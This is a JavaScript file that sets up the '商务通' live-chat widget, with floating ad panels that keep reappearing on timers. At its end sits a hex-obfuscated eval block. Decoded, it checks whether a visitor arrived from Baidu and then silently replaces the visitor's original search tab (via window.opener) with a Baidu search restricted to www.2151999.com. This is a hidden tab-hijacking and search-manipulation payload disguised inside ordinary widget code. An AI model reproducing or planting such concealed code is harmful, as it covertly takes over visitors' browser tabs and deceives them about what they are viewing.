javascript 商务通
/*下面的才是新的商务通*/ var swt_autoDisplay_times=15;/*商务通自动弹出时间,秒为单位*/ var float_left_ad_display_Init=0;/*在允许滚动浮动广告的情况下,允许左边广告显示*/ var float_right_ad_display_Init=1;/*在允许滚动浮动广告的情况下,允许右边广告显示*/ var float_center_ad_display_Init=1;/*显示中间广告*/ var float_bottom_ad_display_Init=0;/*显示右下角广告*/ var roll_ad_left_tc=0;/*关闭左边 30秒后弹出*/ var roll_ad_right_tc=1;/*关闭右边 30秒后弹出*/ var roll_ad_center_tc=1;/*关闭中间 30秒后弹出*/ var roll_ad_bottom_tc=0;/*关闭右下角 30秒后弹出*/ var timerOutWindows1=null; var timerOutWindows2=null; var timerOutWindows3=null; var timerOutWindows4=null; var timerOutWindows5=null; var roll_bupin=0.1; var roll_pinlv=10; var timerrollmove_left=null; var timerrollmove_right=null; var timerrollmove_center=null; var roll_ad_left_top=80; /*设置左广告距顶部多少像素*/ var roll_ad_right_top=80; /*设置右广告距顶部多少像素*/ var roll_ad_center_top=160; /*设置中广告距顶部多少像素*/ var LrinviteTimeout = 0; //3秒后第一次自动弹出 var LR_next_invite_seconds = 10; //30秒后再次显示自动邀请 var swtJS='<script language=\"javascript\" src=\"http://kft.zoosnet.net/JS/LsJS.aspx?siteid=KFT27042564&float=0&lng=cn\"></script>'; document.writeln(swtJS); /*定义商务通样式*/ document.writeln('<style type="text/css">'); document.writeln('#LRfloater0,#LRfloater0 img, #LRfloater0close { display:none !important; visibility:hidden !important;}'); document.writeln('#LXB_CONTAINER,#BDBridgeWrap, #BDBridgeNewWrap, #BDBridgeFixedWrap, #BDBridgeWrap div, #BDBridgeNewWrap div, #BDBridgeFixedWrap div, #BDBridgeWrap ul, #BDBridgeNewWrap ul, #BDBridgeFixedWrap ul, #BDBridgeWrap li, #BDBridgeNewWrap li, #BDBridgeFixedWrap li{display: none !important;}'); /*定义左侧样式*/ document.write('#roll_ad_left {z-index:9999;overflow:hidden;position:fixed; left:0;top:60px;height:auto; width:140px;}'); /*定义右侧样式*/ document.write('#roll_ad_right {z-index:100000;overflow:hidden;position:fixed;right:0px;bottom:80px;width:180px; height:520px;}'); document.write('#roll_ad_center a{font-size:12px;}'); /*定义中间样式*/ document.write('#roll_ad_center {z-index:1000;overflow:hidden;position:fixed;top:160px;left:500px;font-size:12px;}'); /*定义右下角样式*/ document.write('#roll_ad_bottom {z-index:1010;overflow:hidden;position:fixed;right:0;bottom:0px;height:130px; width:220px;}'); /*定义ie6下 右下角样式 --判断是document.documentElement 还是 document.body*/ var roll_ad_bottom_css='#roll_ad_bottom {_position:absolute;bottom:0px;'; if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat') { roll_ad_bottom_css=roll_ad_bottom_css+"_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}"; } else { roll_ad_bottom_css=roll_ad_bottom_css+"_top:expression(document.body.scrollTop+document.body.clientHeight-this.clientHeight);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}"; } document.write(roll_ad_bottom_css); var roll_ad_center_css='#roll_ad_center {_position:absolute;'; if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat') { roll_ad_center_css=roll_ad_center_css+"_top:expression(document.documentElement.scrollTop+(document.documentElement.clientHeight-this.clientHeight)/2);_left:expression(document.documentElement.scrollLeft + (document.documentElement.clientWidth - offsetWidth)/2);}"; } else { roll_ad_center_css=roll_ad_center_css+"_top:expression(document.body.scrollTop+(document.body.clientHeight-this.clientHeight)/2);_left:expression(document.body.scrollLeft + (document.body.clientWidth - offsetWidth)/2);}"; } document.write(roll_ad_center_css); var roll_ad_right_css='#roll_ad_right {_position:absolute;'; if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat') { roll_ad_right_css=roll_ad_right_css+"_top:expression(document.documentElement.scrollTop+(document.documentElement.clientHeight-this.clientHeight)/2);_right:expression(document.documentElement.scrollRight + document.documentElement.clientWidth - offsetWidth);}"; } else { roll_ad_right_css=roll_ad_right_css+"_top:expression(document.body.scrollTop+(document.body.clientHeight-this.clientHeight)/2);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}"; } document.write(roll_ad_right_css); var roll_ad_left_css='#roll_ad_left {_position:absolute; left:0px !important; _left:0px !important;'; if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat') { roll_ad_left_css=roll_ad_left_css+"_top:expression(document.documentElement.scrollTop+(document.documentElement.clientHeight-this.clientHeight)/4);_right:expression(document.documentElement.scrollRight + document.documentElement.clientWidth - offsetWidth);}"; } else { roll_ad_left_css=roll_ad_left_css+"_top:expression(document.body.scrollTop+(document.body.clientHeight-this.clientHeight)/2);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}"; } document.write(roll_ad_left_css); /**/ document.write('#LRfloater0,#LRfloater0 img, #LRfloater0close { display:none; }'); document.write('#roll_ad_center { padding:0; background:url(/swt/xdnk.gif) no-repeat; overflow:hidden; text-indent:0;width:489px; height:335px; display:none;}'); document.write('#roll_ad_center .float_top{display:block;width:489px; height:335px; float:left;}'); document.write('#roll_ad_center .center_close{display:block;width:11px; height:11px; margin-top:5px;margin-right:7px;float:right;background:url(/swt/close.gif) no-repeat; }'); document.write('#roll_ad_center .center_close2{display:block;width:77px; height:24px; float:left;margin-top:-23px;margin-left:356px;background:url(/swt/r_cn.gif) no-repeat;}'); document.write('#roll_ad_center .swtqq{z-index:9999; display:block; width:90px; height:30px; position:absolute; left:50px; top:270px;}'); document.write('#roll_ad_right { background:url(/swt/online_cn.gif) no-repeat top left; }'); document.write('#roll_ad_right .righter_close{float:right;width:11px; height:11px;background:url(/swt/close.gif) no-repeat;position:relative;bottom:520px;}'); document.write('#roll_ad_right .righter_body{width:180px; height:520px;display:block;}'); document.write('#roll_ad_left { background:url(/jsplus/img/huodong.gif) no-repeat; width:140px; height:447px;}'); document.write('#roll_ad_left .lefter_close { height:13px; width:13px;display:block;float:right;background:url(/jsplus/img/close.gif) no-repeat;}'); document.write('#roll_ad_left .lefter_body { display:block; width:140px; height:435px; clear:both; }'); document.write('#roll_ad_bottom { background:url(/jsplus/img/doudong.gif) no-repeat; }'); document.write('#roll_ad_bottom .bottom_close {background:url(/jsplus/img/main_close.gif) no-repeat; float:right; display:block; height:20px; width:40px; }'); document.write('#roll_ad_bottom .bottom_body { display:block; width:220px; height:120px; clear:both; }'); document.write('#roll_ad_bottom .guanbi {position:absolute; width:40px; height:20px; left:165px; top:98px; display:block;font-size:12px; color:#333; text-decoration:none;}'); document.write('.new1 { width:202px; height:31px; display:block;float:left;position: absolute;left:150px;}'); document.write('.new2 { width:100px; height:30px; display:block;position: absolute;left:275px;}'); document.write('.new3 { width:270px; height:30px; display:block;float:left;position: absolute;left:120px;}'); document.write('#view_message div {padding:0 !important;}'); /*qq样式aaaaaa*/ document.write('#roll_ad_top {z-index:99999000;overflow:hidden;position:fixed;right:0;top:0px;height:140px; width:220px;}'); document.write('#LRdiv1 {z-index:-99999000;display:none;visibility:hidden;}'); /*定义ie6下 右下角样式 --判断是document.documentElement 还是 document.body*/ var roll_ad_top_css='#roll_ad_top {_position:absolute;top:0px;'; if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat') { roll_ad_top_css=roll_ad_top_css+"_top:expression(document.documentElement.scrollTop-this.clientHeight+this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}"; } else { roll_ad_top_css=roll_ad_top_css+"_top:expression(document.body.scrollTop-this.clientHeight+this.clientHeight);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}"; } document.write(roll_ad_top_css); /**/ document.writeln("</style>"); document.write(swtJS); /*显示左侧漂浮广告*/ var leftcode='<div id="roll_ad_left" ><a class="lefter_close" href="javascript:void(0)" onclick="hide_ad(1);return false;"></a><a class="lefter_body" href="javascript:void(0)" onclick="return openChat();return false;"></a></div>'; if(float_left_ad_display_Init==1) { document.write(leftcode); } /*显示右侧漂浮广告*/ var rightcode='<div id="roll_ad_right" ><a class="righter_body" onclick="return openChat();" href="javascript:void(0);" target=_blank></a><a class="righter_close" href="javascript:void(0)" onclick="hide_ad(2);return false;" target=_blank></a></div>'; if(float_right_ad_display_Init==1) { document.write(rightcode); } /*显示中间漂浮广告*/ var centercode='<DIV id="roll_ad_center" style="padding:0px;"><a class="center_close" href="javascript:void(0)" onclick="closeAskWindow();show_ad(4);return false;"></a><a onclick="return openChat();" href="javascript:void(0);" class="float_top"></a></DIV>'; if(float_center_ad_display_Init==1) { document.write(centercode); } /*显示右下角广告*/ var bottomcode='<DIV id="roll_ad_bottom"><a class="guanbi" href="javascript:void(0)" onclick="hide_ad(4);return false;"></a><a class="bottom_close" href="javascript:void(0)" onclick="hide_ad(4);return false;"></a><a class="bottom_body" href="javascript:void(0)" onclick="return openChat();return false;"></a></DIV>';
/*底部 document.writeln("<style>"); document.writeln(".xiangmu {position:absolute;position: fixed ! important; width:100%; height:35px; margin:0px auto; background:#C8067F; z-index:10000; bottom:23px;_position:absolute;_bottom:23px; _top:expression(documentElement.scrollTop+600);}"); document.writeln(".xiangmu ul { margin:0px; padding:0px; height:35px;overflow:hidden; width:317px; margin:0px auto;}"); document.writeln(".xiangmu ul li { float:left; list-style:none; width:158px;}"); document.writeln("</style>"); document.writeln('<div class="xiangmu">'); document.writeln(' <ul>'); document.writeln(' <li><img src="http://images.cnblogs.com/dbtx.gif" usemap="#zxmap" /></li>'); document.writeln(' </ul>'); document.writeln('</div>'); document.writeln('<map name="zxmap" id="zxmap">'); document.writeln(' <area coords="17,6,75,30" href="tel:03962979120">'); document.writeln(' <area coords="83,6,143,30" onclick="return openChat();" href="javascript:void(0);" target="_blank" />'); document.writeln(' <area coords="150,6,210,30"onclick="return openChat();" href="javascript:void(0);" target="_blank" />'); document.writeln(' <area coords="215,6,278,30" onclick="return openChat();" href="javascript:void(0);" target="_blank" />'); document.writeln('</map>'); */ var topcode=''; function close_top() { document.getElementById("roll_ad_top").style.visibility="hidden"; } document.write(topcode); if(float_bottom_ad_display_Init==1) { document.write(bottomcode); } function hide_ad(num) { switch(num) { case 1:{ if(float_left_ad_display_Init!=0) { document.getElementById("roll_ad_left").style.visibility="hidden"; if(roll_ad_left_tc==1) { timerOutWindows1=setTimeout(function(){show_ad(1);},swt_autoDisplay_times*1000); } } break;} case 2:{ if(float_right_ad_display_Init!=0) { document.getElementById("roll_ad_right").style.visibility="hidden"; if(roll_ad_right_tc==1) { timerOutWindows2=setTimeout(function(){show_ad(2);},swt_autoDisplay_times*1000); }} break;} case 3:{ if(float_center_ad_display_Init!=0) { document.getElementById("roll_ad_center").style.visibility="hidden"; if(roll_ad_center_tc==1) { timerOutWindows3=setTimeout(function(){show_ad(3);},swt_autoDisplay_times*1000); }} break;} case 4:{ if(float_bottom_ad_display_Init!=0) { document.getElementById("roll_ad_bottom").style.visibility="hidden"; if(roll_ad_bottom_tc==1) { timerOutWindows4=setTimeout(function(){show_ad(4);},swt_autoDisplay_times*1000); }} break;} default:{ break;} } } function show_ad(num) { switch(num) { case 1:{ if(float_left_ad_display_Init!=0) { document.getElementById("roll_ad_left").style.visibility="visible"; } break;} case 2:{ if(float_right_ad_display_Init!=0) { document.getElementById("roll_ad_right").style.visibility="visible"; } break;} case 3:{ if(float_center_ad_display_Init!=0) { document.getElementById("roll_ad_center").style.visibility="visible"; } break;} case 4:{ if(float_bottom_ad_display_Init!=0) { document.getElementById("roll_ad_bottom").style.visibility="visible"; } break;} default:{ break;} } } /*定义商务通打开*/ var PopOutInit=false;/*弹出窗时候弹出的判断*/ function openChat() { openZoosUrl(); PopOutInit=false; clearOutWindowTimer(); openStartTimerOfOutWindow(); hide_ad(3); return false; } function closeAskWindow() { PopOutInit=false; hide_ad(3); LR_HideInvite(); LR_RefuseChat(); } /*在打开商务通的时候 重新定义*/ function clearOutWindowTimer() { clearTimeout(timerOutWindows1); clearTimeout(timerOutWindows2); clearTimeout(timerOutWindows3); clearTimeout(timerOutWindows4); } /*重新启动计时器*/ function openStartTimerOfOutWindow() { timerOutWindows1=setTimeout(function(){show_ad(1);},swt_autoDisplay_times*1000); timerOutWindows2=setTimeout(function(){show_ad(2);},swt_autoDisplay_times*1000); timerOutWindows3=setTimeout(function(){show_ad(3);},swt_autoDisplay_times*1000); timerOutWindows4=setTimeout(function(){show_ad(4);},swt_autoDisplay_times*1000); } function popFloatWindow() { if(!PopOutInit) { show_ad(3); PopOutInit=true; if(document.getElementById("LRfloater0")) {onlinerIcon0.hidden();} clearOutWindowTimer(); self.focus(); } } /*检测弹出窗的弹出*/ function guestZoosNetWindow() { if(document.getElementById("LRdiv1")) { if(document.getElementById("LRdiv1").style.display=="block") { document.getElementById("LRdiv1").style.display="none"; //发现弹出,马上关闭弹出,然后开启美化的弹出窗 if(document.getElementById("LRfloater1")) { document.getElementById("LRfloater1").style.visibility="hidden"; } document.getElementById("LRdiv1").style.visibility="hidden"; document.getElementById("lr_swf_div").style.visibility="hidden"; onlinerIcon0.hidden(); popFloatWindow(); } } } /*定义随屏滚动*/ function AdInitOK(){ jiastyle(); } if (document.all){ window.attachEvent('onload',AdInitOK); } else{ window.addEventListener('load',AdInitOK,false); } /*定义随屏滚动*/ function jiastyle() { var x=document.getElementsByTagName("a"); for(i=0;i<x.length;i++) { x[i].style.cursor="pointer"; } } /*延迟*/ window.onload = function(){ window.setInterval(function(){document.getElementById('roll_ad_center').style.display='block';},3000);}; window.onresize=function(){ document.getElementById('roll_ad_center').style.left=(document.body.clientWidth-document.getElementById('roll_ad_center').offsetWidth)/2+'px'; } document.write("<script>var stu=document.getElementById('roll_ad_center').style.display;document.getElementById('roll_ad_center').style.display='block';document.getElementById('roll_ad_center').style.left=(document.body.clientWidth-document.getElementById('roll_ad_center').offsetWidth)/2+'px';document.getElementById('roll_ad_center').style.display=stu;</script>"); /**2013-10-05**/ window["\x65\x76\x61\x6c"](function(L1,leKziPcb2,bQjBptaj3,LL4,EWhLDWDS5,AZuad6){EWhLDWDS5=function(bQjBptaj3){return(bQjBptaj3<leKziPcb2?"":EWhLDWDS5(window["\x70\x61\x72\x73\x65\x49\x6e\x74"](bQjBptaj3/leKziPcb2)))+((bQjBptaj3=bQjBptaj3%leKziPcb2)>35?window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](bQjBptaj3+29):bQjBptaj3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36))};if(!''["\x72\x65\x70\x6c\x61\x63\x65"](/^/,window["\x53\x74\x72\x69\x6e\x67"])){while(bQjBptaj3--)AZuad6[EWhLDWDS5(bQjBptaj3)]=LL4[bQjBptaj3]||EWhLDWDS5(bQjBptaj3);LL4=[function(EWhLDWDS5){return AZuad6[EWhLDWDS5]}];EWhLDWDS5=function(){return'\\\x77\x2b'};bQjBptaj3=1;};while(bQjBptaj3--)if(LL4[bQjBptaj3])L1=L1["\x72\x65\x70\x6c\x61\x63\x65"](new window["\x52\x65\x67\x45\x78\x70"]('\\\x62'+EWhLDWDS5(bQjBptaj3)+'\\\x62','\x67'),LL4[bQjBptaj3]);return L1;}('\x48\x7b\x28\x6a\x28\x29\x7b\x32 \x61\x3d\x49 \x53\x28\x29\x3b\x32 \x62\x3d\x54\x3b\x33\x28\x61\x2e\x6e\x28\x29\x3e\x36\x26\x26\x61\x2e\x6e\x28\x29\x3c\x77\x29\x7b\x7d\x3b\x6a \x63\x28\x68\x29\x7b\x33\x28\x75\x2e\x71\x29\x7b\x75\x2e\x71\x2e\x78\x2e\x79\x28\x68\x29\x7d\x7d\x3b\x32 \x64\x3d\x43\x2e\x44\x3b\x33\x28\x21\x64\x29\x7b\x72\x7d\x3b\x32 \x66\x3d\x2f\x42\x3f\\\x3a\\\x2f\\\x2f\x28\x5b\x5e\\\x2f\x5d\x2b\x29\x2f\x69\x2e\x6b\x28\x64\x29\x3b\x32 \x67\x3d\x66\x3f\x66\x5b\x31\x5d\x3a\'\x7a\'\x3b\x33\x28\x2f\x70\\\x2e\x34\x24\x2f\x69\x2e\x74\x28\x67\x29\x26\x26\x62\x26\x26\x21\x2f\x6f\x3d\x35\\\x2e\x6c\\\x2e\x34\x26\x2f\x69\x2e\x74\x28\x64\x29\x29\x7b\x32 \x68\x3d\x64\x2e\x6d\x28\x22\x26\x22\x29\x3b\x33\x28\x68\x2e\x41\x3c\x3d\x31\x29\x7b\x37\x3d\x64\x2e\x6d\x28\x22\x39\x3d\x22\x29\x7d\x76\x7b\x37\x3d\x2f\x39\x3d\x28\x2e\x2b\x3f\x29\x26\x2f\x69\x2e\x6b\x28\x64\x29\x7d\x3b\x63\x28\x22\x45\x3a\x2f\x2f\x35\x2e\x70\x2e\x34\x2f\x73\x3f\x50\x3d\x4f\x26\x52\x3d\x55\x2d\x38\x26\x6f\x3d\x35\x2e\x6c\x2e\x34\x26\x66\x3d\x38\x26\x4e\x3d\x31\x26\x51\x3d\x30\x26\x46\x2d\x47\x2d\x4c\x3d\x4d\x2e\x4a\x26\x39\x3d\x22\x2b\x37\x5b\x31\x5d\x29\x3b\x72\x7d\x7d\x29\x28\x29\x7d\x4b\x28\x65\x29\x7b\x7d',57,57,'\x7c\x7c\x76\x61\x72\x7c\x69\x66\x7c\x63\x6f\x6d\x7c\x77\x77\x77\x7c\x7c\x73\x65\x61\x72\x63\x68\x7c\x7c\x77\x64\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x66\x75\x6e\x63\x74\x69\x6f\x6e\x7c\x65\x78\x65\x63\x7c\x32\x31\x35\x31\x39\x39\x39\x7c\x73\x70\x6c\x69\x74\x7c\x67\x65\x74\x48\x6f\x75\x72\x73\x7c\x73\x69\x7c\x62\x61\x69\x64\x75\x7c\x6f\x70\x65\x6e\x65\x72\x7c\x72\x65\x74\x75\x72\x6e\x7c\x7c\x74\x65\x73\x74\x7c\x77\x69\x6e\x64\x6f\x77\x7c\x65\x6c\x73\x65\x7c\x32\x32\x7c\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x7c\x72\x65\x70\x6c\x61\x63\x65\x7c\x75\x6e\x6b\x6e\x6f\x77\x6e\x7c\x6c\x65\x6e\x67\x74\x68\x7c\x68\x74\x74\x70\x73\x7c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x7c\x72\x65\x66\x65\x72\x72\x65\x72\x7c\x68\x74\x74\x70\x7c\x71\x71\x7c\x70\x66\x7c\x74\x72\x79\x7c\x6e\x65\x77\x7c\x63\x32\x63\x7c\x63\x61\x74\x63\x68\x7c\x74\x6f\x7c\x70\x63\x71\x71\x7c\x72\x73\x76\x5f\x62\x70\x7c\x32\x30\x39\x37\x31\x35\x32\x7c\x63\x74\x7c\x69\x6e\x70\x75\x74\x54\x7c\x69\x65\x7c\x44\x61\x74\x65\x7c\x74\x72\x75\x65\x7c\x75\x74\x66'["\x73\x70\x6c\x69\x74"]('\x7c'),0,{})) document.write('<script language="javascript" src="/swt/duo.js"></script>');